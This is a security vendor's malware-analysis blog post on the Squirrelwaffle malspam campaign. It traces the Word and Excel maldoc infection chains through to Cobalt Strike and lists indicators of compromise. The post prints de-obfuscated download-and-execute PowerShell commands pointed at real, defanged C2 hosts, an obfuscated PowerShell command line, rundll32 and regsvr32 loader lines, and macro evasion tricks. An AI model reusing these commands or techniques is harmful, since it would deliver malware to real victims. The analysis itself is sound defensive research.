# A Virtual Baffle to Battle SquirrelWaffle

**cynet.com/understanding-squirrelwaffle/**

## A Virtual Baffle to Battle Squirrelwaffle

_By: Max Malyutin – Orion Threat Research Team Leader_

While tracking malicious spam campaigns at the beginning of September 2021, we discovered a new villain that joined known
major actors including Trickbot, Bazarloader, Ursnif, Dridix, and IcedID in the email-based malware landscape.

Email-based campaigns are used to deliver and distribute large-scale phishing malspam and deploy different types of malwares.
These malicious emails often contain a .ZIP attachment, Microsoft Office document, or a URL link. The weaponized documents
are responsible for downloading and executing next-stage malware payloads.

The new kid on the block’s name is Squirrelwaffle, and it was first seen in the wild at the start of September 2021. Squirrelwaffle
MalDoc samples are tagged by researchers as “TR”, which stands for the malspam distribution infrastructure, a tag that indicates
a particular malspam distribution affiliate.

We started seeing samples uploaded into open malware databases (such as bazzar.abuse):

When inspecting SquirrelWaffle on VirusTotal, we noticed there are additional samples, as can be seen here:


-----

**Squirrelwaffle infection chain overview:**

Squirrelwaffle compromises victims via a malspam campaign. Currently, Squirrelwaffle emails deliver a malicious URL link which
leads to a ZIP file as part of the email content.

The victim downloads a ZIP file that contains a weaponized Microsoft Office document. The malicious document contains macro
code and a fake template that lures the victim to click on Enable Content. After the macros are executed, the malicious
document acts as Dropper. It drops a VBS file stored inside the MalDoc to the disk and launches it via cscript command.

Next, the VBS script downloads five DLL modules from five different URLS via PowerShell command and invokes these modules
through a rundll32 command.

.Currently, we know that the DLL modules enumerate the compromised host and download the next-stage payload from a
Command-and-Control (C2) Server. The downloaded file has a TXT extension. The TXT file is a portable executable file (EXE),
which in fact is a Cobalt Strike beacon.

Malware-Traffic-Analysis shared Squirrelwaffle to Cobalt Strike indicators and artifacts:

[https://www.malware-traffic-analysis.net/2021/09/17/index.html](https://www.malware-traffic-analysis.net/2021/09/17/index.html)

Infection chain of Word Squirrelwaffle releases (14 September – ):


-----

1. The user receives a phishing email with a malicious URL link to a ZIP file which stores a Microsoft Office weaponized

document.
2. The user opens the malicious weaponized Word document and is lured into clicking on “Enable content” (macros).
3. The malicious VBA macro is executed and dropd the VBS (visual basic script) file to the ProgramData directory.
4. The malicious VBA macro executes the VBS file via cscript.
5. The VBS script executes PowerShell and CMD (Rundll32 executes via the CMD) processes.
6. The PowerShell command downloads the Squirrelwaffle modules (DLLs).
7. The rundll32 executes the Squirrelwaffle modules with ldr function.
8. Enumeration actions are performed on the compromised host.
9. Finally, a Cobalt Strike beacon is dropped and launched.

**Update 20/09/2021:**

We have observed another Squirrelwaffle infection. In this new variant, threat actors use malicious Excel documents instead of
Word documents. The malicious Excel documents contain macro v4 (XLM) code instead of VBA code (Word documents).

Furthermore, they changed the execution and the download methods.

Infection chain of Word Squirrelwaffle releases (20 September – ):

1. The user opens the malicious weaponized Excel document and is lured into clicking on “Enable content” (macros v4).
2. The malicious macros v4 is executed and downloaded from a C2 server masquerading as DLL payloads.
3. The malicious macros v4 execute masqueraded DLL payloads via regsvr32 command line.
4. The regsvr32 executes the Squirrelwaffle modules.

**MITRE** **Attack-Navigator:**


-----

**Squirrelwaffle infection chain analysis:**

The infection chain starts with a phishing email vector. [Phishing technique T1566 has two sub-techniques: Spearphishing](https://attack.mitre.org/techniques/T1566)
Attachment T1566.001 and Spearphishing Link T1566.002.

Squirrelwaffle currently uses the Spearphishing Link technique by sending malicious emails with a URL to a ZIP file that contains
the malicious Word document.

[urlhaus.abuse.ch tag: SQUIRRELWAFFLE](https://urlhaus.abuse.ch/browse/tag/SQUIRRELWAFFLE/)

[Threat actors’ motivation is to lure the victim to interact with the phishing email and download the ZIP file.](https://attack.mitre.org/techniques/T1566)


-----

The next step of the infection is based on the user’s interaction with the phishing email. This step is related to User Execution
[technique T1204 which is part of the Execution TA0002 tactic.](https://attack.mitre.org/techniques/T1204)

[This technique has two sub-techniques: Malicious Link](https://attack.mitre.org/techniques/T1204/001) [T1204.001 and](https://attack.mitre.org/techniques/T1204) [Malicious File](https://attack.mitre.org/techniques/T1204/002) [T1204.002.](https://attack.mitre.org/techniques/T1204)

The user downloads the malicious ZIP file by using the URL link in the phishing email. The ZIP file contains a Microsoft Office
Word document.

**MalDoc pattern name: diagram-[0-9]{2,}.doc**
**Examples:**

[diagram-864.doc](https://www.virustotal.com/gui/file/ce31d139e6ea2591a8a15fcf37232f97c799e9c5d1410ef86b54a444a7d24d0f)

[diagram-258.doc](https://www.virustotal.com/gui/file/b7fa56ddedd0fff91af460edc504574ddc7b1df97d33d635d854e71a7be34060)

[diagram-268.doc](https://www.virustotal.com/gui/file/783e3b86c24af82773b0dae3e738c46a79de252b1bcc5945b65da0d040ee6e9d)

[diagram-864.doc](https://www.virustotal.com/gui/file/ce31d139e6ea2591a8a15fcf37232f97c799e9c5d1410ef86b54a444a7d24d0f)

[diagram-268.doc](https://www.virustotal.com/gui/file/783e3b86c24af82773b0dae3e738c46a79de252b1bcc5945b65da0d040ee6e9d)

[diagram-107.doc](https://www.virustotal.com/gui/file/05930a8bfc7e97d1f7d460352842b2f94a7b552852d1abb9dc7c8ae9698a3934)

[diagram-955.doc](https://www.virustotal.com/gui/file/9bba679ea952513d3d6a8d5d827f56ce31b2e832940d45428c97d50e06b40e26)

To lure the victim to click on “Enable Content”, threat actors use a fake DocuSign template message.

Below, you can see an example of the Squirrelwaffle MalDoc requesting the user to click on the security warning button “Enable
Content”. This allows the malicious document to execute code stored as a macro.


-----

Once macros are enabled, the VBA executes (Command and Scripting Interpreter: Visual Basic: T1059.005) and executes the
AutoOpen function.

The AutoOpen macro runs automatically after opening the document and selecting “Enable Content”.

AutoOpen function content leads us to bxh.eFile macro:


-----

The bxh function contains obfuscated VBA code which decoded via StrReverse “Returns a string in which the character order of
a specified string is reversed.”

The artifact extracted from the bxh function:

**Path: C:\ProgramData**
**File Name: pin.vbs**

**Execution command: cmd /k cscript .exe C:\ProgramData\pin.vbs**

Using the OLEVBA tool, we have found several interesting artifacts:


-----

The threat actors use a different technique to hide malicious code/strings such as URLs, IPs, commands, or even shellcode
inside the malicious document.


-----

We kept digging inside the MalDoc file and found a Form (t2) containing malicious VBS code.

The obfuscated VBS code is dropped to C:\ProgramData directory:

The VBS file is written to the disk via the MalDoc file:


-----

The next step that in the attack happens when macros are enabled. This executes a cmd command that spawns a cscript.exe
process.

Execution command: cmd /k cscript .exe C:\ProgramData\pin.vbs

The cscript process executes the pin.vbs file:

We have analyzed the VBS code and de-obfuscated it:


-----

LL1\2\3\4\5 (line 6-9, 11-14, 16-19, 21-24 and 26-29) stored PowerShell commands (de-obfuscated):

IEX “(New-Object Net.WebClient).DownloadFile(‘hxxps://priyacareers[.]com/u9hDQN9Yy7g/pt.html’,’C:\ProgramData\www1.dll’)”|
IEX
IEX (New-Object
Net.WebClient).DownloadFile(‘hxxps://perfectdemos[.]com/Gv1iNAuMKZ/pt.html’,’C:\ProgramData\www2.dll’)|IEX

IEX (New-Object Net.WebClient).DownloadFile(‘hxxps://bussinessz[.]ml/ze8pCNTIkrIS/pt.html’,’C:\ProgramData\www3.dll’)|IEX

IEX (New-Object Net.WebClient).DownloadFile(‘hxxps://cablingpoint[.]com/ByH5NDoE3kQA/pt.html’,’C:\ProgramData\www4.dll’)

IEX (New-Object
Net.WebClient).DownloadFile(‘https://bonus.corporatebusinessmachines.co.in/1Y0qVNce/pt.html’,’C:\ProgramData\www5.dll)|IEX

Lines 34-38 execute a PowerShell instance with each command above (five PS instances in total).

Each PowerShell command uses WebClient Class and DownloadFile method which allows the PowerShell command to
download a DLL file and drop the file to the C:\ProgramData directory.

One of the PowerShell instances command-line:

“C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” $Nano=’JOOEX’.replace(‘JOO’,’I’);sal OY
$Nano;$aa='(New-Ob’; $qq=’ject Ne’; $ww=’t.WebCli’; $ee=’ent).Downl’; $rr=’oadFile’;
$bb='(”hxxps://priyacareers[.]com/u9hDQN9Yy7g/pt.html”,”C:\ProgramData\www1.dll”)’;$FOOX =
($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ”); OY $FOOX|OY;

By sniffing the network packets of the PowerShell instances, we have found five IP addresses related to the five URLs observed
in the VBS script:


-----

108[.]167[.]172[.]125
192[.]185[.]52[.]124

204[.]11[.]58[.]87

162[.]241[.]85[.]65

In line 39, threat actors use a Sleep function. The function performs a sleep action for 15 seconds to wait with the next step of
the execution to allow a full download of all the DLL payloads:

WScript.Sleep(15000)

After the Sleep action, the VBS script executes cmd.exe processes that swap a rundll32.exe which runs the following command:

cmd /c rundll32.exe C:\ProgramData\www1.dll,ldr
cmd /c rundll32.exe C:\ProgramData\www2.dll,ldr

cmd /c rundll32.exe C:\ProgramData\www3.dll,ldr

cmd /c rundll32.exe C:\ProgramData\www4.dll,ldr

cmd /c rundll32.exe C:\ProgramData\www5.dll,ldr

The CMD command executes five times a rundll32 process to load the downloaded DLLs with the ldr function, the Squirrelwaffle
DLL payloads named LdrLoader due to the export function.


-----

The cscript script (pin.vbs) executes CMD and PowerShell processes:

Full process tree execution flow:

The downloaded DLL modules (LdrLoader) are all the same file. Threat actors have five URLs, and each stores the DLL module.
We believe that this is a backup method in this case if one of the URLs is not responding.


-----

**Update 20/09/2021:**

We have detected a new Squirrelwaffle sample which this time have been Excel malicious documents.

The Excel documents also have the unique pattern name diagram_[RandomChar0-9].xls

The new Excel documents use a new fake template to lure the victim to click on the “Enable Content” security button:

The threat actors use several defensive evasion techniques to bypass security application, AVs, and EDRs. These techniques
make researchers and security analysts’ life harder.

Hidden Sheets
White color font for the macros
Obfuscation and scrambling of the macros in deferent sheets


-----

Hidden Sheets

White macro font color


-----

Obfuscation and scrambling of the macros in deferent sheets

The macro type is different in the Word documents. Threat actors use VBA code in, while in Excel the macro type is macro v4
(XLM).

macro v4 (XLM), example:

In both Excel and Word documents, threat actors use the “Auto Open” function to execute the macros.


-----

After extracting some artifacts, we have found the following:

**Win API:**
Kernel32 CreateDirectoryA

Urlmon URLDownloadToFileA

Shell32 ShellExecuteA

**C2 URL:**

hxxps://cortinastelasytrazos[.]com/Yro6Atvj/sec[.]html

hxxps://orquideavallenata[.]com/4jmDb0s9sg/sec[.]html

hxxps://fundacionverdaderosheroes[.]com/gY0Op5Jkht/sec[.]html

**File full path and name:**
C:\Datop\test.test

C:\Datop\test1.test

C:\Datop\test2.test

**Execution command:**

regsvr32 C:\Datop\test*.test


-----

Threat actors change the download and the execution methods.

For the download, they use the urlmon and URLDowenloadToFileA Win API functions and for the execution, they use Shell32
ShellExecuteA.

In this scenario, we have detected three DLL payloads instead of five (Word document flow). DLL payloads are executed by
abusing the legitimate Microsoft file (LOLbin – “Living off the land”) Regsvr32.

Network connection to the C2 server that stores the DLL payloads performed by the Excel document:

108[.]167[.]165[.]249
95[.]101[.].89[.]74

Full execution flow:

**Indicators of compromise**


-----

**MalDoc** **ce31d139e6ea2591a8a15fcf37232f97c799e9c5d1410ef86b54a444a7d24d0f**
**77c8d399c3cdbb22502432f6ab49a8e56a2a8e4bf9bd02b37797a0ae5962b7d6**

**aaea40485a04b071bd65fc732e70630b314cdadf4f03ba9b7a0030ccf63b1115**

**637af43b3f656ffa8839ab8f23ff2aad7910cc4bd9ed0551d337a02341864e05**

**079a22b70109d00f571ea22079cde3baf9ebe6a3afd93347e09c38c7fccf38dc**

**a56c6b3d58c66042effa180738197415d840443ba839bb7f45042bdb9e51c04f**

**b7fa56ddedd0fff91af460edc504574ddc7b1df97d33d635d854e71a7be34060**

**0e52e26aff6f4cf678515e7c1a491603085e717458cfc12d2b95d46c98eda7ba**

**783e3b86c24af82773b0dae3e738c46a79de252b1bcc5945b65da0d040ee6e9d**

**65f594b4cb31e25f711dd954700bab6d2ac507bd7aab184cc500812b08f8ee03**

**3f453d0703fa81709d25c6ade25215066f38abceec9699b7b49fb9b4171bbb50**

**182a11ae9b66c9abcd9fd9dbd7a0176a5895f354443e31ab3258182ca62d3a47**

**5401103614610b1e109c674b2f90732e0a056be81dbdd8886324aa2d41f0cf2a**

**fc42fbe6525ef4b976bca50eb1c4be6c1696e180c55fbeb5f1c9ce5d32957c88**

**3f453d0703fa81709d25c6ade25215066f38abceec9699b7b49fb9b4171bbb50**

**182a11ae9b66c9abcd9fd9dbd7a0176a5895f354443e31ab3258182ca62d3a47**

**MalDoc C2 Servers** **ghapan[.]com**
**yoowi[.]net**

**gruasingenieria[.]pe**

**chaturanga[.]groopy[.]com**

**lotolands[.]com**

**bonus[.]corporatebusinessmachines[.]co[.]in**

**bussiness-z[.]ml**

**perfectdemos[.]com**

**cablingpoint[.]com**

**priyacareers[.]com**

**DLL loader payloads** ad8cb4504a5af45ffa91699b017ffa0bc9808e1b170027ab54fe31661279b9b6
813a9b03c6c1caec4eca8a867dcfbda7860bca6a5d481acb4c131c1a868d4b48

0d66e879f6e7bfa3ab9eb864094912ffd59c14792ed1d2e087e465e8098150fb

671f477c3039786c5f3553760377be03b91bfb66f31ba9370ed2193192cf5b4e

85d0b72fe822fd6c22827b4da1917d2c1f2d9faa838e003e78e533384ea80939


-----

**DLL loader C2 Server** jhehosting[.]com
hrms[.]prodigygroupindia[.]com

bartek-lenart[.]pl

centralfloridaasphalt[.]com

amjsys[.]com

mercyfoundationcio[.]org

novamarketing[.]com[.]pk


-----